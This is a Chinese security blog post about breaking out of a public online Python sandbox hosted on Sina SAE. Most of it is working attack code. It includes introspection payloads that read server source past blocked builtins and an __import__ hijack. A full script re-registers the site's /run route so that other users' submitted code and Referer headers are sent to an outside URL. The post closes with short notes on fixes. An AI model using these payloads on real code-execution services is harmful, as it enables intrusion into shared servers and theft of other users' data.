前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PY交易之简单沙盒绕过

PY交易之简单沙盒绕过

作者头像
ChaMd5安全团队
发布2018-03-29 15:40:14
1.3K0
发布2018-03-29 15:40:14
举报
文章被收录于专栏:ChaMd5安全团队

p猫表哥要我写一些有趣的东西,本人比较菜,见识也比较短浅,也不会ri站,更不会打ctf,只能随便说点我觉得还是比较好玩的东西。

本人在大二上学期的时候自学了Python,然而可能由于身体觉醒得有点晚了吧,所以见到跟Python有关系的东西,例如本文要讲述的能在线执行Python的沙盒,就会感觉像看见小姐姐一样,心跳加速。

第一个见过的Python在线运行的沙盒的时候,还是感觉这个东西很神奇的~~而在某个风和日丽的日子里,随便写几句代码测试的时候,WOC,我竟然把这个沙盒给玩坏了,,,经过反复的几次崩溃,发现了问题的原因,其中有一句写的问题很大:

代码语言:javascript
复制
globals()['__builtins__']['__import__'] = Noneraise Exception

这句报错了。哦,对了,忘记说,这个沙盒的代码我是看过的,虽然这个沙盒屏蔽了open、file、zipfile、reload、os.open 等函数,但是还是有办法读到代码的。

代码语言:javascript
复制
print [entity for entity in ().__class__.__bases__[0].__subclasses__() if entity.__name__ == "file"][0]("index.wsgi").read()print globals()["__builtins__"]["open"]("index.wsgi").read()print globals()["__builtins__"]["file"]("index.wsgi").read()print globals()["__builtins__"]["file"]("index.wsgi").read()print dir()["__builtins__"]["file"]("index.wsgi").read()print dir()["__builtins__"]["open"]("index.wsgi").read()print __import__('__builtin__').open("index.wsgi").read()print __import__('__builtin__').file("index.wsgi").read()

就这样,小小的运行一下,就可以读出来首页的代码了。

读取到的关键代码如下:

代码语言:javascript
复制
import osimport sysimport jsonimport saeimport base64import threadingimport xml.sax.saxutils as saxutilsimport bottlefrom bottle import Bottle, run, route, request, HTTPErrorfrom sae.kvdb import KVClientimport urllib2import editcodeapp = Bottle()os.open = Noneclass PrintHook: def __init__(self):  self.out = '' def write(self, text):  try:   self.out += text  except:   self.out += repr(text) def output(self):  return self.out@app.route('/run', method='POST')def form_submit(): code = request.forms.get('code') def worker(code, event):  def dummy(*args, **kwargs):   pass  try:   g = {'__name__': '__main__', 'open': dummy, 'file': dummy, 'zipfile': dummy, 'reload': dummy}   exec(code, g)  except:   import traceback   traceback.print_exc()  event.set() hook = PrintHook() sys.stdout = sys.stderr = hook event = threading.Event() event.clear() th = threading.Thread(target=worker, args=(code, event)); th.setDaemon(True) th.start() if not event.wait(8):  return 'Script timeout' return hook.output()

有关于执行Python代码的位置在这里:

还是屏蔽了一些东西的,因为这个东西在新浪sae上面,在sae上面是没有写权限的。而当我提交的代码,执行到上面这段,之后站点就崩溃了。大胆的猜测一下,import 模块的时候其实是调用的__import__ 方法进行导入模块。

写个小例子:

通过这个例子可以很清楚的看到,我用自己写的cut函数,替换了系统的 __import__函数,在进行import 的时候,代码逻辑真的走到了我的cut函数。cut的函数参数也不是迷,可以在IDE里面写下__import__,按住ctrl,点一下__import__就会跳转过去。

在写上一句话的时候,我一直在想,我为什么不是直接用 __import__代替 globals()['__builtins__'].__dict__['__import__']

试了一下发现不好用。。。

关于不好用的原因,可能是Python内部不是直接用的__import__,我替换这个函数只是替换掉了这个变量里面指向的函数的位置,但是Python内部可能不是通过这个变量调用的。

通过上面的这段代码,就可以跳出沙盒里面的限制,从try里面替换掉导包的逻辑,在except中,导入traceback模块的过程中,自己写一个类返回回去。

完整的看一下这个执行代码的流程,

代码语言:javascript
复制
35:从请求中获取要执行的代码36:45 执行代码并且限制可以使用的变量46:47 hook输出内容48:49 定义一个用来等待函数返回的事件50:52 创建线程,设置随主线程一起退出,执行线程53:54 判断线程超时56 输出hook到的内容

在这个地方有个有意思的东西,PrintHook类是用来hook所有输出的。

这个类非常的简陋,就这么三个方法,还有一个是构造方法。。

新浪的sae是不允许写文件的,如果我们想要控制执行代码的输出,就要控制这个类,当代码跑起来的时候,这个类就被装在内存里了,简单的尝试发现可以替换这个内容

简单地写一小段代码:

代码语言:javascript
复制
cut函数为Hook __import__的函数,在cut函数中5:9是我自己做的PrintHook,10:14 是在import的过程中,Cut掉PrintHook15:20 是为了保证执行我提交的代码走except的时候,导入traceback不会报错出问题,影响下面的导入25:27 就是为了完成正常的导入了28 把自己构造的Cut塞到内置对象里30行引发一个异常,确保自己的代码在cut内置对象__import__之后走except逻辑,调用import过程,突破执行代码的限制(你在直接输入代码的时候是感知不到外部的像PrintHook对象的,这是对于变量的限制)

然后打开一个新窗口,测试一波。

没错,这货在其他会话也生效了,但是经过测试发现sae会一定的时间就重置一次容器???

内置对象直接全部挂掉,推倒重来。

只是cut了返回结果好像也没什么用。

本人的Python是自学的,关于web这一块的Python框架只会用Django,Flask不是很熟,这种app.route的写法也不是很了解,但是随便编一编还是能写一点点的。

在测试的过程中,突然发现,跳出去那个exec的变量限制之后,能拿到这个app对象,随便变了一段函数,试着替换一下这个,算是路由?

这框架真好玩,真的拿到了我输入的内容。

如果我没记错的话,这个应该是用来测试代码的机器?这么说,是不是改一改就能拿到其他用户输入的代码了???

大部分代码都是直接搬了之前的,也有搬这个页面本身的代码,反正我的cut里面的PrintHookclass被我改成这个样子了,这一整段都是,这里面出现的PrintHook是为了覆盖外面的PrintHook,为了能正常的执行。

代码语言:javascript
复制
#!/usr/bin/env pythonfrom functools import partialdef cut(i, g, name, globals={}, locals={}, fromlist=[], level=-1): globals['__builtins__']['__import__'] = i class PrintHook1:  def __init__(self):   try:    print code   except:    print "[!!!] Get Code Faild"  def write(self, text):   pass  def output(self):   try:    # return str(globals)    app = globals['app']    @app.route('/run', method='POST')    def form_submit():     code = globals['request'].forms.get('code')     if "testcutflag" in code:      return "[!!!] flag repeat"     import sys     import threading     class PrintHook:      def __init__(self):       self.out = ''      def write(self, text):       try:        self.out += text       except:        self.out += repr(text)      def output(self):       return self.out     def worker(code, event):      def dummy(*args, **kwargs):       pass      try:       g = {'__name__': '__main__', 'open': dummy, 'file': dummy, 'zipfile': dummy, 'reload': dummy}       exec(code, g)      except:       import traceback       traceback.print_exc()      event.set()     import dummy     cc = code.encode("hex") + "|" +globals['request'].header.get('Referer','').encode("hex")     try:      dummy.hackhttp.http("http://testsite.com/code.php",post="code=%s" % cc)     except:      pass     hook = PrintHook()     sys.stdout = sys.stderr = hook     event = threading.Event()     event.clear()     th = threading.Thread(target=worker, args=(code, event));     th.setDaemon(True)     th.start()     if not event.wait(8):      return 'Script timeout'     return hook.output()    globals['form_submit'] = form_submit    return "[+++] Cut ok"   except Exception,e:    return str(e) try:  globals['PrintHook'] = PrintHook1  print "[!!!] Test Cut Success"  # print str(globals) except Exception,e:  print "[!!!] Test Cut Faild" if name =="traceback":  try:   class cuttraceback:    @staticmethod    def print_exc():     print "[***] Test Cut traceback.print_exc call"   g['traceback'] = cuttraceback   return cuttraceback  except Exception, e:   print str(e) m = i(name, globals, locals, fromlist, level) g[name] = m return mglobals()['__builtins__']['__import__'] = partial(cut,__import__,globals())print "[***] Test Cut"raise Exceptiontestcutflag

这样就可以做好一个阅读其他用户代码的小玩意了,自己有测试过,确实很好用,但是因为这个沙盒本身也不是很有人常用,加上几分钟重置一次沙盒,也基本没大用处(当然可以写脚本,几分钟提交一次,不过这太缺德了,好的代码估计也不会在这上面跑)

最后还写了个简单的文件浏览器:

事情到此就结束了吗?

可能还没有。

网上有很多可以在线运行代码的地方,有些可以执行命令,甚至有些可以反弹shell,但是这都不是我喜欢的。

我喜欢那种可以获得一个Python shell的,就在你当前运行的环境,可以抽丝剥茧一般的知道你的代码是怎么被丢进来,怎么跑起来。

我就发现过一个,我的代码被丢到docker里面运行起来,这个docker启动了一个Python,Python后面跟了一句解b64然后exec的代码,大概是长这个样子的:

代码语言:javascript
复制
python -m "exec __import__('base64').b64decode('xxxx')"

这句代码解开之后是以一种奇怪的方式去其他的服务器加载代码,看了几遍都不是很明白清楚的理解。

在此和各位大佬分享几个Python扒代码好用一点的函数(库)

代码语言:javascript
复制
sys._getframemarshal.dumpsuncompyle(库)

个人感觉用起来比较舒服的姿势是这样的:

这段代码如果描述就是,如果你愿意一层一层的剥开我的心(笑尿)

简单的用一下,

就这样,直接把当前文件的代码扒出来。

_getframe是用来获取堆栈信息的函数,获取到堆栈信息之后就能拿到诸如函数名,函数代码,当前行号,当前文件等等的信息。参数为0的时候是获取当前函数的堆栈信息,为1就是获取调用者的堆栈信息,以此类推。


关于修复

暂时想到可行的办法一个是docker,另一个是通过建立一个临时的字典的方式,把有可能会对本级造成危害的函数先copy出来,然后在代码执行之后和出现异常走except逻辑的时候。

首先做的就是把备份出来的函数先恢复回去,然后再说其他的异常处理。

在备份的同时也可以删掉比如reload这种不老实的函数,随便替换个无动作的函数。

关于用户导入开发者不希望导入的库的方面,还是希望不要用正则这种有辱智商的操作,Python很灵活。比如屏蔽了import os,可以通过os = __import__('os') ,真的有很多基于正则防御危险代码的这类站点,还可以比如globals()['__builtins__']['__imp'+ '' +'ort__'](True.__class__.__name__[1] + 's')

关于想要禁止一些库的导入,可以试试自己写一个cut导入过程的函数,自己替换进去,不希望导的库就直接报错或者能导没功能。

禁止导库可能发生在比如新浪sae,导入sae模块之后可以读取数据库账号密码主机端口等信息。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-03-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档